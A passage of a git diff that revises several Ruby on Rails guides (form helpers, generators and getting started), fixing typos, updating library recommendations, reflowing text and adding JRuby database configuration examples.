this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features. +TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging. h3. Dealing with Model Objects @@ -353,7 +342,6 @@ output: When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). - h3. Making Select Boxes with Ease Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. @@ -545,7 +533,7 @@ NOTE: In many cases the built-in date pickers are clumsy as they do not aid the h4. Individual Components -Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value. +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value. The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example @@ -589,7 +577,7 @@ def upload end </ruby> -Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are "Attachment-Fu":https://github.com/technoweenie/attachment_fu and "Paperclip":http://www.thoughtbot.com/projects/paperclip. +Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip. NOTE: If the user has not selected a file the corresponding parameter will be an empty string. @@ -712,7 +700,7 @@ You might want to render a form with a set of edit fields for each of a person's <erb> <%= form_for @person do |person_form| %> <%= person_form.text_field :name %> - <% for address in @person.addresses %> + <% @person.addresses.each do |address| %> <%= person_form.fields_for address, :index => address do |address_form|%> <%= address_form.text_field :city %> <% end %> @@ -777,7 +765,7 @@ If you need to post some data to an external resource it is still great to build Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option: <erb> -<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %> +<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %> Form contents <% end %> </erb> @@ -808,13 +796,3 @@ Many apps grow beyond simple forms editing a single object. For example when cre * Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application * Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy * James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin - -h3. Changelog - -* February 5, 2011: Added 'Forms to external resources' section. Timothy N. Tsvetkov <timothy.tsvetkov@gmail.com> -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com - -h3. Authors - -* Mislav Marohnić <mislav.marohnic@gmail.com> -* "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile index a3181b9ac5..7a863ccbc7 100644 --- a/railties/guides/source/generators.textile +++ b/railties/guides/source/generators.textile @@ -46,7 +46,7 @@ class InitializerGenerator < Rails::Generators::Base end </ruby> -NOTE: +create_file+ is a method provided by +Thor::Actions+ and the documentation for it and its brethren can be found at "rdoc.info":http://rdoc.info/github/wycats/thor/master/Thor/Actions. +NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. @@ -131,7 +131,7 @@ And let's execute our generator: $ rails generate initializer core_extensions </shell> -We can see that now a initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+. +We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+. The methods that are available for generators are covered in the "final section":#generator-methods of this guide. @@ -365,7 +365,7 @@ $ rails generate scaffold Comment body:text Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication. -h3. Application templates +h3. Application Templates Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". @@ -449,6 +449,15 @@ The above code will put the following line into +Gemfile+: gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master" </ruby> +h4. +gem_group+ + +Wraps gem entries inside a group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. +add_source+ @@ -610,14 +619,3 @@ Output the contents of a file in the template's +source_path+, usually a README. <ruby> readme("README") </ruby> - -h3. Changelog - -* December 1, 2010: Documenting the available methods and options for generators and templates by "Ryan Bigg":http://ryanbigg.com -* December 1, 2010: Addition of Rails application templates by "Ryan Bigg":http://ryanbigg.com - -* August 23, 2010: Edit pass by "Xavier Noria":credits.html#fxn - -* April 30, 2010: Reviewed by José Valim - -* November 20, 2009: First version by José Valim diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 1c66115d44..bf6104b96b 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -1,48 +1,77 @@ h2. Getting Started with Rails -This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with: +This guide covers getting up and running with Ruby on Rails. After reading it, +you should be familiar with: * Installing Rails, creating a new Rails application, and connecting your application to a database * The general layout of a Rails application * The basic principles of MVC (Model, View Controller) and RESTful design -* How to quickly generate the starting pieces of a Rails application. +* How to quickly generate the starting pieces of a Rails application endprologue. -WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. +WARNING. This Guide is based on Rails 3.1. Some of the code shown here will not +work in earlier versions of Rails. h3. Guide Assumptions -This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: +This guide is designed for beginners who want to get started with a Rails +application from scratch. It does not assume that you have any prior experience +with Rails. However, to get the most out of it, you need to have some +prerequisites installed: * The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.8.7 or higher -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing. +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails +3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 +though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults +on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth +sailing. * The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system + ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1 * A working installation of the "SQLite3 Database":http://www.sqlite.org -Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are some good free resources on the internet for learning Ruby, including: +Rails is a web application framework running on the Ruby programming language. +If you have no prior experience with Ruby, you will find a very steep learning +curve diving straight into Rails. There are some good free resources on the +internet for learning Ruby, including: * "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com * "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ * "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ +Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository +in rails/railties/guides/code/getting_started. + h3. What is Rails? -Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun. +Rails is a web application development framework written in the Ruby language. +It is designed to make programming web applications easier by making assumptions +about what every developer needs to get started. It allows you to write less +code while accomplishing more than many other languages and frameworks. +Experienced Rails developers also report that it makes web application +development more fun. -Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience. +Rails is opinionated software. It makes the assumption that there is a "best" +way to do things, and it's designed to encourage that way - and in some cases to +discourage alternatives. If you learn "The Rails Way" you'll probably discover a +tremendous increase in productivity. If you persist in bringing old habits from +other languages to your Rails development, and trying to use patterns you +learned elsewhere, you may have a less happy experience. The Rails philosophy includes several guiding principles: * DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. -* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than requiring you to specify every little thing through endless configuration files. -* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go. +* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to +do it, rather than requiring you to specify every little thing through endless configuration files. +* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs +is the fastest way to go. h4. The MVC Architecture -At the core of Rails is the Model, View, Controller architecture, usually just called MVC. MVC benefits include: +At the core of Rails is the Model, View, Controller architecture, usually just +called MVC. MVC benefits include: * Isolation of business logic from the user interface * Ease of keeping code DRY @@ -50,19 +79,34 @@ At the core of Rails is the Model, View, Controller architecture, usually just c h5. Models -A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models. +A model represents the information (data) of the application and the rules to +manipulate that data. In the case of Rails, models are primarily used for +managing the rules of interaction with a corresponding database table. In most +cases, each table in your database will correspond to one model in your +application. The bulk of your application's business logic will be concentrated +in the models. h5. Views -Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application. +Views represent the user interface of your application. In Rails, views are +often HTML files with embedded Ruby code that perform tasks related solely to +the presentation of the data. Views handle the job of providing data to the web +browser or other tool that is used to make requests from your application. h5. Controllers -Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation. +Controllers provide the "glue" between models and views. In Rails, controllers +are responsible for processing the incoming requests from the web browser, +interrogating the models for data, and passing that data on to the views for +presentation. h4. The Components of Rails -Rails ships as many individual components. +Rails ships as many individual components. Each of these components are briefly +explained below. If you are new to Rails, as you read this section, don't get +hung up on the details of each component, as they will be explained in further +detail later. For instance, we will bring up Rack applications, but you don't +need to know anything about them to continue with this guide. * Action Pack ** Action Controller @@ -75,70 +119,107 @@ Rails ships as many individual components. * Active Support * Railties - h5. Action Pack -Action Pack is a single gem that contains Action Controller, Action View and Action Dispatch. The "VC" part of "MVC". +Action Pack is a single gem that contains Action Controller, Action View and +Action Dispatch. The "VC" part of "MVC". -h5. Action Controller +h6. Action Controller -Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management. +Action Controller is the component that manages the controllers in a Rails +application. The Action Controller framework processes incoming requests to a +Rails application, extracts parameters, and dispatches them to the intended +action. Services provided by Action Controller include session management, +template rendering, and redirect management. -h5. Action View +h6. Action View -Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support. +Action View manages the views of your Rails application. It can create both HTML +and XML output by default. Action View manages rendering templates, including +nested and partial templates, and includes built-in AJAX support. View +templates are covered in more detail in another guide called "Layouts and +Rendering":layouts_and_rendering.html. -h5. Action Dispatch +h6. Action Dispatch -Action Dispatch handles routing of web requests and dispatches them as you want, either to your application or any other Rack application. +Action Dispatch handles routing of web requests and dispatches them as you want, +either to your application or any other Rack application. Rack applications are +a more advanced topic and are covered in a separate guide called "Rails on +Rack":rails_on_rack.html. h5. Action Mailer -Action Mailer is a framework for building e-mail services. You can use Action Mailer to receive and process incoming email and send simple plain text or complex multipart emails based on flexible templates. +Action Mailer is a framework for building e-mail services. You can use Action +Mailer to receive and process incoming email and send simple plain text or +complex multipart emails based on flexible templates. h5. Active Model -Active Model provides a defined interface between the Action Pack gem services and Object Relationship Mapping gems such as Active Record. Active Model allows Rails to utilize other ORM frameworks in place of Active Record if your application needs this. +Active Model provides a defined interface between the Action Pack gem services +and Object Relationship Mapping gems such as Active Record. Active Model allows +Rails to utilize other ORM frameworks in place of Active Record if your +application needs this. h5. Active Record -Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services. +Active Record is the base for the models in a Rails application. It provides +database independence, basic CRUD functionality, advanced finding capabilities, +and the ability to relate models to one another, among other services. h5. Active Resource -Active Resource provides a framework for managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. +Active Resource provides a framework for managing the connection between +business objects and RESTful web services. It implements a way to map web-based +resources to local objects with CRUD semantics. h5. Active Support -Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in Rails, both by the core code and by your applications. +Active Support is an extensive collection of utility classes and standard Ruby +library extensions that are used in Rails, both by the core code and by your +applications. h5. Railties -Railties is the core Rails code that builds new Rails applications and glues the various frameworks and plugins together in any Rails application. +Railties is the core Rails code that builds new Rails applications and glues the +various frameworks and plugins together in any Rails application. h4. REST -Rest stands for Representational State Transfer and is the foundation of the RESTful architecture. This is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While you can read through the thesis, REST in terms of Rails boils down to two main principles: +Rest stands for Representational State Transfer and is the foundation of the +RESTful architecture. This is generally considered to be Roy Fielding's doctoral +thesis, "Architectural Styles and the Design of Network-based Software +Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While +you can read through the thesis, REST in terms of Rails boils down to two main +principles: * Using resource identifiers such as URLs to represent resources. * Transferring representations of the state of that resource between system components. -For example, to a Rails application a request such as this: +For example, the following HTTP request: <tt>DELETE /photos/17</tt> -would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails hooks into this shielding you from many of the RESTful complexities and browser quirks. +would be understood to refer to a photo resource with the ID of 17, and to +indicate a desired action - deleting that resource. REST is a natural style for +the architecture of web applications, and Rails hooks into this shielding you +from many of the RESTful complexities and browser quirks. -If you'd like more details on REST as an architectural style, these resources are more approachable than Fielding's thesis: +If you'd like more details on REST as an architectural style, these resources +are more approachable than Fielding's thesis: * "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov * "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio * "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia -* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson +* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & +Ian Robinson h3. Creating a New Rails Project -If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. +If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a +(very) simple weblog. Before you can start building the application, you need to +make sure that you have Rails itself installed. + +TIP: The examples below use # and $ to denote terminal prompts. If you are using Windows, your prompt will look something like c:\source_code> h4. Installing Rails @@ -149,13 +230,19 @@ Usually run this as the root user: # gem install rails </shell> -TIP. If you're working on Windows, you can quickly install Ruby and Rails with "Rails Installer":http://railsinstaller.org. +TIP. If you're working on Windows, you can quickly install Ruby and Rails with +"Rails Installer":http://railsinstaller.org. h4. Creating the Blog Application -The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can literally follow along step by step. If you need to see the completed code, you can download it from "Getting Started Code":https://github.com/mikel/getting-started-code. +The best way to use this guide is to follow each step as it happens, no code or +step needed to make this example application has been left out, so you can +literally follow along step by step. If you need to see the completed code, you +can download it from "Getting Started +Code":https://github.com/mikel/getting-started-code. -To begin, open a terminal, navigate to a folder where you have rights to create files, and type: +To begin, open a terminal, navigate to a folder where you have rights to create +files, and type: <shell> $ rails new blog @@ -163,57 +250,63 @@ $ rails new blog This will create a Rails application called Blog in a directory called blog. -TIP: You can see all of the switches that the Rails application builder accepts by running <tt>rails new -h</tt>. +TIP: You can see all of the switches that the Rails application builder accepts +by running +<tt>rails new -h</tt>. -After you create the blog application, switch to its folder to continue work directly in that application: +After you create the blog application, switch to its folder to continue work +directly in that application: <shell> $ cd blog </shell> -In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default: +In any case, Rails will create a folder in your working directory called +<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in +this tutorial will happen in the <tt>app/</tt> folder, but here's a basic +rundown on the function of each folder that Rails creates in a new application +by default: |_.File/Folder|_.Purpose| -|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application.| -|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.| -|Rakefile|This file contains batch jobs that can be run from the terminal.| -|app/|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.| +|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.| +|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| +|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| +|app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.| |config/|Configure your application's runtime rules, routes, database, and more.| |config.ru|Rack configuration for Rack based servers used to start the application.| |db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.| |doc/|In-depth documentation for your application.| |lib/|Extended modules for your application (not covered in this guide).| |log/|Application log files.| -|public/|The only folder seen to the world as-is. This is where your images, JavaScript files, stylesheets (CSS), and other static files go.| +|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| |script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| |test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html| |tmp/|Temporary files| |vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.| -h4. Installing the Required Gems - -Rails applications manage gem dependencies with "Bundler":http://gembundler.com/v1.0/index.html by default. As we don't need any other gems beyond the ones in the generated +Gemfile+ we can directly run - -<shell> -$ bundle install -</shell> - -to have them ready. - h4. Configuring a Database -Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+. -If you open this file in a new Rails application, you'll see a default database configuration using SQLite3. The file contains sections for three different environments in which Rails can run by default: +Just about every Rails application will interact with a database. The database +to use is specified in a configuration file, +config/database.yml+. If you open +this file in a new Rails application, you'll see a default database +configuration using SQLite3. The file contains sections for three different +environments in which Rails can run by default: -* The +development+ environment is used on your development computer as you interact manually with the application -* The +test+ environment is used to run automated tests +* The +development+ environment is used on your development computer as you interact manually with the application. +* The +test+ environment is used to run automated tests. * The +production+ environment is used when you deploy your application for the world to use. h5. Configuring an SQLite3 Database -Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. +Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is +a lightweight serverless database application. While a busy production +environment may overload SQLite, it works well for development and testing. +Rails defaults to using an SQLite database when creating a new project, but you +can always change it later. -Here's the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment: +Here's the section of the default configuration file +(<tt>config/database.yml</tt>) with connection information for the development +environment: <yaml> development: @@ -223,11 +316,17 @@ development: timeout: 5000 </yaml> -NOTE: In this guide we are using an SQLite3 database for data storage, because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. +NOTE: In this guide we are using an SQLite3 database for data storage, because +it is a zero configuration database that just works. Rails also supports MySQL +and PostgreSQL "out of the box", and has plugins for many database systems. If +you are using a database in a production environment Rails most likely has an +adapter for it. h5. Configuring a MySQL Database -If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section: +If you choose to use MySQL instead of the shipped SQLite3 database, your ++config/database.yml+ will look a little different. Here's the development +section: <yaml> development: @@ -240,11 +339,14 @@ development: socket: /tmp/mysql.sock </yaml> -If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate. +If your development computer's MySQL installation includes a root user with an +empty password, this configuration should work for you. Otherwise, change the +username and password in the +development+ section as appropriate. h5. Configuring a PostgreSQL Database -Finally if you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases: +If you choose to use PostgreSQL, your +config/database.yml+ will be customized +to use PostgreSQL databases: <yaml> development: @@ -256,53 +358,120 @@ development: password: </yaml> +h5. Configuring an SQLite3 Database for JRuby Platform + +If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will +look a little different. Here's the development section: + +<yaml> +development: + adapter: jdbcsqlite3 + database: db/development.sqlite3 +</yaml> + +h5. Configuring a MySQL Database for JRuby Platform + +If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look +a little different. Here's the development section: + +<yaml> +development: + adapter: jdbcmysql + database: blog_development + username: root + password: +</yaml> + +h5. Configuring a PostgreSQL Database for JRuby Platform + +Finally if you choose to use PostgreSQL and are using JRuby, your ++config/database.yml+ will look a little different. Here's the development +section: + +<yaml> +development: + adapter: jdbcpostgresql + encoding: unicode + database: blog_development + username: blog + password: +</yaml> + Change the username and password in the +development+ section as appropriate. -TIP: You don't have to update the database configurations manually. If you had a look at the options of application generator, you have seen that one of them is named <tt>--database</tt>. It lets you choose an adapter for couple of most used relational databases. You can even run the generator repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting of the +config/database.yml+ file, your application will be configured for MySQL instead of SQLite. +TIP: You don't have to update the database configurations manually. If you look at the +options of the application generator, you will see that one of the options +is named <tt>--database</tt>. This option allows you to choose an adapter from a +list of the most used relational databases. You can even run the generator +repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting + of the +config/database.yml+ file, your application will be configured for MySQL +instead of SQLite. h4. Creating the Database -Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command: +Now that you have your database configured, it's time to have Rails create an +empty database for you. You can do this by running a rake command: <shell> $ rake db:create </shell> -This will create your development and test SQLite3 databases inside the <tt>db/</tt> folder. +This will create your development and test SQLite3 databases inside the +<tt>db/</tt> folder. -TIP: Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+. +TIP: Rake is a general-purpose command-runner that Rails uses for many things. +You can see the list of available rake commands in your application by running ++rake -T+. h3. Hello, Rails! -One of the traditional places to start with a new language is by getting some text up on screen quickly. To do this, you need to get your Rails application server running. +One of the traditional places to start with a new language is by getting some +text up on screen quickly. To do this, you need to get your Rails application +server running. h4. Starting up the Web Server -You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running: +You actually have a functional Rails application already. To see it, you need to +start a web server on your development machine. You can do this by running: <shell> $ rails server </shell> -This will fire up an instance of the WEBrick web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. You should see Rails' default information page: +This will fire up an instance of the WEBrick web server by default (Rails can +also use several other web servers). To see your application in action, open a +browser window and navigate to "http://localhost:3000":http://localhost:3000. +You should see Rails' default information page: !images/rails_welcome.png(Welcome Aboard screenshot)! -TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server. +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's +running. In development mode, Rails does not generally require you to stop the +server; changes you make in files will be automatically picked up by the server. -The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your Application's environment. +The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it +makes sure that you have your software configured correctly enough to serve a +page. You can also click on the _About your application’s environment_ link to +see a summary of your application's environment. h4. Say "Hello", Rails -To get Rails saying "Hello", you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal: +To get Rails saying "Hello", you need to create at minimum a controller and a +view. Fortunately, you can do that in a single command. Enter this command in +your terminal: <shell> $ rails generate controller home index </shell> -TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby \path\to\your\application\script\rails generate controller home index</tt>. +TIP: If you get a command not found error when running this command, you +need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby +\path\to\your\application\script\rails generate controller home index</tt>. -Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code: +Rails will create several files for you, including ++app/views/home/index.html.erb+. This is the template that will be used to +display the results of the +index+ action (method) in the +home+ controller. +Open this file in your text editor and edit it to contain a single line of code: <code class="html"> <h1>Hello, Rails!</h1> @@ -310,17 +479,30 @@ Rails will create several files for you, including +app/views/home/index.html.er h4. Setting the Application Home Page -Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" smoke test. +Now that we have made the controller and view, we need to tell Rails when we +want "Hello Rails" to show up. In our case, we want it to show up when we +navigate to the root URL of our site, +"http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" +smoke test. -The first step to doing this is to delete the default page from your application: +The first step to doing this is to delete the default page from your +application: <shell> $ rm public/index.html </shell> -We need to do this as Rails will deliver any static file in the +public+ directory in preference to any dynamic content we generate from the controllers. +We need to do this as Rails will deliver any static file in the +public+ +directory in preference to any dynamic content we generate from the controllers. -Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with +root :to+, uncomment it and change it like the following: +Now, you have to tell Rails where your actual home page is located. Open the +file +config/routes.rb+ in your editor. This is your application's _routing +file_ which holds entries in a special DSL (domain-specific language) that tells +Rails how to connect incoming requests to controllers and actions. This file +contains many sample routes on commented lines, and one of them actually shows +you how to connect the root of your site to a specific controller and action. +Find the line beginning with +root :to+, uncomment it and change it like the +following: <ruby> Blog::Application.routes.draw do @@ -331,27 +513,33 @@ Blog::Application.routes.draw do root :to => "home#index" </ruby> -The +root :to => "home#index"+ tells Rails to map the root action to the home controller's index action. +The +root :to => "home#index"+ tells Rails to map the root action to the home +controller's index action. -Now if you navigate to "http://localhost:3000":http://localhost:3000 in your browser, you'll see +Hello, Rails!+. +Now if you navigate to "http://localhost:3000":http://localhost:3000 in your +browser, you'll see +Hello, Rails!+. -NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html. +NOTE. For more information about routing, refer to "Rails Routing from the +Outside In":routing.html. h3. Getting Up and Running Quickly with Scaffolding -Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. +Rails _scaffolding_ is a quick way to generate some of the major pieces of an +application. If you want to create the models, views, and controllers for a new +resource in a single operation, scaffolding is the tool for the job. h3. Creating a Resource -In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal: +In the case of the blog application, you can start by generating a scaffolded +Post resource: this will represent a single blog posting. To do this, enter this +command in your terminal: <shell> $ rails generate scaffold Post name:string title:string content:text </shell> -NOTE. While scaffolding will get you up and running quickly, the code it generates is unlikely to be a perfect fit for your application. You'll most probably want to customize the generated code. Many 